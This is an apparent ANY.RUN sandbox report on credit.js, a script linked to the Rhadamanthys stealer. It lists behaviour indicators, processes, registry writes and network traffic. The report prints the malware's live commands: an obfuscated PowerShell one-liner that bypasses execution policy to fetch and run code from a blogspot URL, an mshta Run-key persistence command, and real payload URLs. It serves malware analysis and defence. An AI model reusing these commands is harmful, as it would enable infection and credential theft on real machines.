File name:

credit.js

Full analysis: https://app.any.run/tasks/84c2c49a-c894-4707-854d-169ab479bf4e
Verdict: Malicious activity
Threats:

Rhadamanthys is a C++ information-stealing malware that extracts sensitive data from infiltrated machines. Its layered operational chain and advanced evasion tactics make it a major risk in cybersecurity landscapes.

Malware Trends Tracker     >>>
Analysis date: December 18, 2024, 05:56:59
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
rhadamanthys
stealer
shellcode
Indicators:
MIME: text/plain
File info: ASCII text, with very long lines (65536), with no line terminators
MD5:

6E736FB3A389822243B58FFC5CBA478F

SHA1:

1A1BED473E5490261994DF6DF570A4C5B2604B02

SHA256:

611EDED9DC38ABE33B6DBF64BEE5B9E9C3DBF331657BCEB0B001B6FDF1F1F830

SSDEEP:

384:JOiJCtCEVgjwACyA2nHNazC6VgDBv1JStEc4zWuNDVSISYO2TGWTHnrz6lEBHJWZ:F2GyA0/ta7SuHiHwdcU6AH6xgi

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 936)

    • Changes powershell execution policy (Bypass)

      • wscript.exe (PID: 1156)

    • Dynamically loads an assembly (POWERSHELL)

      • powershell.exe (PID: 936)

    • Scans artifacts that could help determine the target

      • dw20.exe (PID: 5032)
      • dw20.exe (PID: 3076)
      • dw20.exe (PID: 2744)

    • RHADAMANTHYS mutex has been found

      • RegSvcs.exe (PID: 2996)
      • RegSvcs.exe (PID: 2676)
      • svchost.exe (PID: 4504)

    • RHADAMANTHYS has been detected (YARA)

      • svchost.exe (PID: 4504)

  • SUSPICIOUS

    • PowerShell delay command usage (probably sleep evasion)

      • powershell.exe (PID: 936)

    • Starts POWERSHELL.EXE for commands execution

      • wscript.exe (PID: 1156)

    • Gets or sets the security protocol (POWERSHELL)

      • powershell.exe (PID: 936)

    • Converts a specified value to an integer (POWERSHELL)

      • powershell.exe (PID: 936)

    • Writes data into a file (POWERSHELL)

      • powershell.exe (PID: 936)

    • Converts a specified value to a byte (POWERSHELL)

      • powershell.exe (PID: 936)

    • Uses sleep to delay execution (POWERSHELL)

      • powershell.exe (PID: 936)

    • Reads security settings of Internet Explorer

      • RegSvcs.exe (PID: 3876)
      • RegSvcs.exe (PID: 5000)

    • Checks Windows Trust Settings

      • RegSvcs.exe (PID: 3876)
      • RegSvcs.exe (PID: 5000)

    • Reads the date of Windows installation

      • dw20.exe (PID: 2744)
      • dw20.exe (PID: 5032)
      • dw20.exe (PID: 3076)
      • dw20.exe (PID: 3724)

    • The process checks if it is being run in the virtual environment

      • svchost.exe (PID: 4504)

    • Connects to unusual port

      • svchost.exe (PID: 4504)

  • INFO

    • Disables trace logs

      • powershell.exe (PID: 936)

    • Creates files in the program directory

      • powershell.exe (PID: 936)
      • dw20.exe (PID: 3076)
      • dw20.exe (PID: 3724)
      • dw20.exe (PID: 5032)
      • dw20.exe (PID: 2744)

    • The process uses the downloaded file

      • wscript.exe (PID: 1156)

    • Checks proxy server information

      • powershell.exe (PID: 936)
      • dw20.exe (PID: 2744)
      • dw20.exe (PID: 5032)
      • dw20.exe (PID: 3724)
      • dw20.exe (PID: 3076)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 936)

    • Gets or sets the time when the file was last written to (POWERSHELL)

      • powershell.exe (PID: 936)

    • Uses string replace method (POWERSHELL)

      • powershell.exe (PID: 936)

    • Checks supported languages

      • RegSvcs.exe (PID: 2676)
      • RegSvcs.exe (PID: 5000)
      • RegSvcs.exe (PID: 3876)
      • RegSvcs.exe (PID: 2996)
      • MSBuild.exe (PID: 5788)
      • MSBuild.exe (PID: 4556)
      • dw20.exe (PID: 3724)
      • dw20.exe (PID: 3076)
      • dw20.exe (PID: 5032)
      • dw20.exe (PID: 2744)

    • Reads the computer name

      • RegSvcs.exe (PID: 2996)
      • RegSvcs.exe (PID: 2676)
      • dw20.exe (PID: 3076)
      • dw20.exe (PID: 3724)
      • dw20.exe (PID: 5032)
      • dw20.exe (PID: 2744)

    • Reads the machine GUID from the registry

      • RegSvcs.exe (PID: 3876)
      • RegSvcs.exe (PID: 5000)
      • dw20.exe (PID: 5032)
      • dw20.exe (PID: 2744)
      • dw20.exe (PID: 3724)
      • dw20.exe (PID: 3076)

    • Reads product name

      • dw20.exe (PID: 2744)
      • dw20.exe (PID: 5032)
      • dw20.exe (PID: 3076)
      • dw20.exe (PID: 3724)

    • Reads Environment values

      • dw20.exe (PID: 2744)
      • dw20.exe (PID: 5032)
      • dw20.exe (PID: 3724)
      • dw20.exe (PID: 3076)

    • Process checks computer location settings

      • dw20.exe (PID: 2744)
      • dw20.exe (PID: 5032)
      • dw20.exe (PID: 3076)
      • dw20.exe (PID: 3724)

    • Reads CPU info

      • dw20.exe (PID: 3076)
      • dw20.exe (PID: 2744)
      • dw20.exe (PID: 3724)
      • dw20.exe (PID: 5032)

    • Checks if a key exists in the options dictionary (POWERSHELL)

      • powershell.exe (PID: 936)

    • Manual execution by a user

      • svchost.exe (PID: 4504)

    • Checks whether the specified file exists (POWERSHELL)

      • powershell.exe (PID: 936)

    • Reads the software policy settings

      • dw20.exe (PID: 2744)
      • dw20.exe (PID: 5032)
      • dw20.exe (PID: 3076)
      • dw20.exe (PID: 3724)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 936)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
137
Monitored processes
18
Malicious processes
5
Suspicious processes
3

Behavior graph

Click at the process to see the details
start wscript.exe no specs powershell.exe conhost.exe no specs regsvcs.exe no specs #RHADAMANTHYS regsvcs.exe no specs #RHADAMANTHYS regsvcs.exe no specs regsvcs.exe no specs regsvcs.exe no specs regsvcs.exe regsvcs.exe no specs regsvcs.exe msbuild.exe msbuild.exe dw20.exe dw20.exe dw20.exe dw20.exe #RHADAMANTHYS svchost.exe

Process information

PID
CMD
Path
Indicators
Parent process
936"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;& ('{1}{0}' -f 'ex', 'I') $(irm https://17-dec-hot.blogspot.com//////nipple.pdf);Start-Sleep -Seconds 5;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
4294967295
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1156"C:\Windows\System32\WScript.exe" C:\Users\admin\Desktop\credit.jsC:\Windows\System32\wscript.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
4294967295
Version:
5.812.10240.16384
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2008"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft .NET Services Installation Utility
Exit code:
4294967295
Version:
4.8.9037.0 built by: NET481REL1
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\regsvcs.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
2676"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft .NET Services Installation Utility
Exit code:
0
Version:
4.8.9037.0 built by: NET481REL1
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\regsvcs.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\mscoree.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\advapi32.dll
2744dw20.exe -x -s 820C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
MSBuild.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft .NET Error Reporting Shim
Exit code:
0
Version:
2.0.50727.9149 (WinRelRS6.050727-9100)
Modules
Images
c:\windows\microsoft.net\framework\v2.0.50727\dw20.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\advapi32.dll
c:\windows\syswow64\msvcrt.dll
2996"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft .NET Services Installation Utility
Exit code:
0
Version:
4.8.9037.0 built by: NET481REL1
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\regsvcs.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\mscoree.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\advapi32.dll
3076dw20.exe -x -s 900C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
RegSvcs.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft .NET Error Reporting Shim
Exit code:
0
Version:
2.0.50727.9149 (WinRelRS6.050727-9100)
Modules
Images
c:\windows\microsoft.net\framework\v2.0.50727\dw20.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\advapi32.dll
c:\windows\syswow64\msvcrt.dll
3724dw20.exe -x -s 808C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
MSBuild.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft .NET Error Reporting Shim
Exit code:
0
Version:
2.0.50727.9149 (WinRelRS6.050727-9100)
Modules
Images
c:\windows\microsoft.net\framework\v2.0.50727\dw20.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\advapi32.dll
c:\windows\syswow64\msvcrt.dll
3848"C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft .NET Services Installation Utility
Exit code:
4294967295
Version:
2.0.50727.9149 (WinRelRS6.050727-9100)
Modules
Images
c:\windows\microsoft.net\framework\v2.0.50727\regsvcs.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
3876"C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft .NET Services Installation Utility
Exit code:
3762507597
Version:
2.0.50727.9149 (WinRelRS6.050727-9100)
Modules
Images
c:\windows\microsoft.net\framework\v2.0.50727\regsvcs.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\mscoree.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\advapi32.dll
Total events
32 980
Read events
32 973
Write events
7
Delete events
0

Modification events

(PID) Process:(936) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell
Operation:writeName:ExecutionPolicy
Value:
Bypass
(PID) Process:(936) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Operation:writeName:Uplatbookinglt-152
Value:
mshta "javascript:nzs=['RUN', 'powershell -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;(irm https://hootdec.blogspot.com/pepa.pdf) | . iex;Start-Sleep -Seconds 3;', 'WScript.Shell', 'Scripting.FileSystemObject']; new ActiveXObject(nzs[2])[nzs[0]](nzs[1], 0, true);close();dis=new ActiveXObject('Scripting.FileSystemObject');dis.DeleteFile(WScript.ScriptFullName);"
(PID) Process:(2676) RegSvcs.exeKey:HKEY_CURRENT_USER\SOFTWARE\SibCode
Operation:writeName:sn3
Value:
7FF2589B20AA7C5BC41D87EED7EB70E0D61947359280A0431BDD0FB8AA5C278A3160BA915C8F70C1B98671AA43117DFEE5357C1C7A5E1782DDC87F012E0FB77F
(PID) Process:(2996) RegSvcs.exeKey:HKEY_CURRENT_USER\SOFTWARE\SibCode
Operation:writeName:sn3
Value:
7FF2589B20AA7C5BC41D87EED7EB70E0D61947359280A0431BDD0FB8AA5C278A3160BA915C8F70C1B98671AA43117DFEE5357C1C7A5E1782DDC87F012E0FB77F
(PID) Process:(3724) dw20.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\IdentityCRL\ClockData
Operation:writeName:ClockTimeSeconds
Value:
7C64626700000000
(PID) Process:(3724) dw20.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\IdentityCRL\ClockData
Operation:writeName:TickCount
Value:
B181140000000000
(PID) Process:(936) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Operation:writeName:Ubookingl-64
Value:
schtasks /run /tn Ubookingl-64
Executable files
0
Suspicious files
1
Text files
10
Unknown types
0

Dropped files

PID
Process
Filename
Type
936powershell.exeC:\ProgramData\nippleskulcha\oaisjdnlijasndijasndijasmidjamsjd.~!!@@!!@@!@@!!@@!@@!!@@!!~ —
MD5:—
SHA256:—
3724dw20.exeC:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Msbuild.exe_b9a731ec57ed9a6b83af3da83c55fc566ac997_00000000_3d654967-abc4-4d97-a536-6c2d28a0ee16\Report.wer —
MD5:—
SHA256:—
5032dw20.exeC:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_RegSvcs.exe_cdb91b7cbb029f3575443b28fbe755628d6e7e_00000000_c54ac212-f367-418e-88ce-751b9689ed60\Report.wer —
MD5:—
SHA256:—
3076dw20.exeC:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_RegSvcs.exe_cdb91b7cbb029f3575443b28fbe755628d6e7e_00000000_ccbe48e5-2ee6-44cc-974e-dcd9e9b71480\Report.wer —
MD5:—
SHA256:—
2744dw20.exeC:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Msbuild.exe_b9a731ec57ed9a6b83af3da83c55fc566ac997_00000000_105e2af1-8e5e-4396-9ce8-d9f77e46d888\Report.wer —
MD5:—
SHA256:—
5032dw20.exeC:\ProgramData\Microsoft\Windows\WER\Temp\WER7E75.tmp.WERInternalMetadata.xmlxml
MD5:D0D4C50E6FD0538EAD56654146A10A5B
SHA256:3CCE376FC9AADBDB14D9DDF94E9D165D67771EB77F4E8D242434EA34A91D38A2
3076dw20.exeC:\ProgramData\Microsoft\Windows\WER\Temp\WER7EB5.tmp.xmlxml
MD5:48312D84EE89FEA40EA40FE324A3E1AE
SHA256:0B386E78938543088A260BC9EA3AADF36123488E4DF2E13456F046210B7F1E44
5032dw20.exeC:\ProgramData\Microsoft\Windows\WER\Temp\WER7EB5.tmp.xmlxml
MD5:D107CA8FD6F37235BA24279C1A030343
SHA256:EA4192DA671A6E0733B4EC958B00295761941AE155F5CC7137017B77306CB7F3
936powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCachebinary
MD5:C904B83F3EB6B36C24B175843EAE2F18
SHA256:AE9C3B418FC314078AEA3B8FE77670BDBD72E127D1DAE886D031A73C2074B64F
3076dw20.exeC:\ProgramData\Microsoft\Windows\WER\Temp\WER7E85.tmp.WERInternalMetadata.xmlxml
MD5:009EC7132A3B076BAC6CE3D3C913EC9F
SHA256:1B6B8EF08CC55766875D2732945303B786FBD649C947F2ADA928698903AFB406
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
7
TCP/UDP connections
40
DNS requests
10
Threats
1

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
6072
svchost.exe
GET
200
23.216.77.28:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
4712
MoUsoCoreWorker.exe
GET
200
23.216.77.28:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
6072
svchost.exe
GET
200
2.23.181.156:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
4712
MoUsoCoreWorker.exe
GET
200
2.23.181.156:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
—
—
GET
302
142.250.186.33:443
https://17-dec-hot.blogspot.com/atom.xml
unknown
—
—
—
—
—
GET
302
142.250.186.33:443
https://17-dec-hot.blogspot.com//////nipple.pdf
unknown
html
218 b
whitelisted
—
—
GET
200
185.166.143.48:443
https://bitbucket.org/!api/2.0/snippets/nippleskakulcha/6qB8px/8b1738210ebf2e2e115b26972821816107381552/files/dec.txt
unknown
text
4.23 Mb
shared
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4712
MoUsoCoreWorker.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
192.168.100.255:137
—
—
—
whitelisted
6072
svchost.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
2.21.110.146:443
www.bing.com
AKAMAI-AS
DE
whitelisted
—
—
192.168.100.255:138
—
—
—
whitelisted
—
—
2.21.110.139:443
www.bing.com
AKAMAI-AS
DE
whitelisted
6072
svchost.exe
23.216.77.28:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
4712
MoUsoCoreWorker.exe
23.216.77.28:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
6072
svchost.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 4.231.128.59
  • 20.73.194.208
whitelisted
www.bing.com
  • 2.21.110.146
  • 2.21.110.139
whitelisted
google.com
  • 142.250.181.238
whitelisted
crl.microsoft.com
  • 23.216.77.28
  • 23.216.77.42
whitelisted
www.microsoft.com
  • 2.23.181.156
whitelisted
17-dec-hot.blogspot.com
  • 142.250.186.33
whitelisted
bitbucket.org
  • 185.166.143.48
  • 185.166.143.49
  • 185.166.143.50
shared
watson.events.data.microsoft.com
  • 52.168.117.173
whitelisted
self.events.data.microsoft.com
  • 20.42.65.90
whitelisted

Threats

PID
Process
Class
Message
4504
svchost.exe
Misc Attack
ET DROP Spamhaus DROP Listed Traffic Inbound group 33
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
credit.js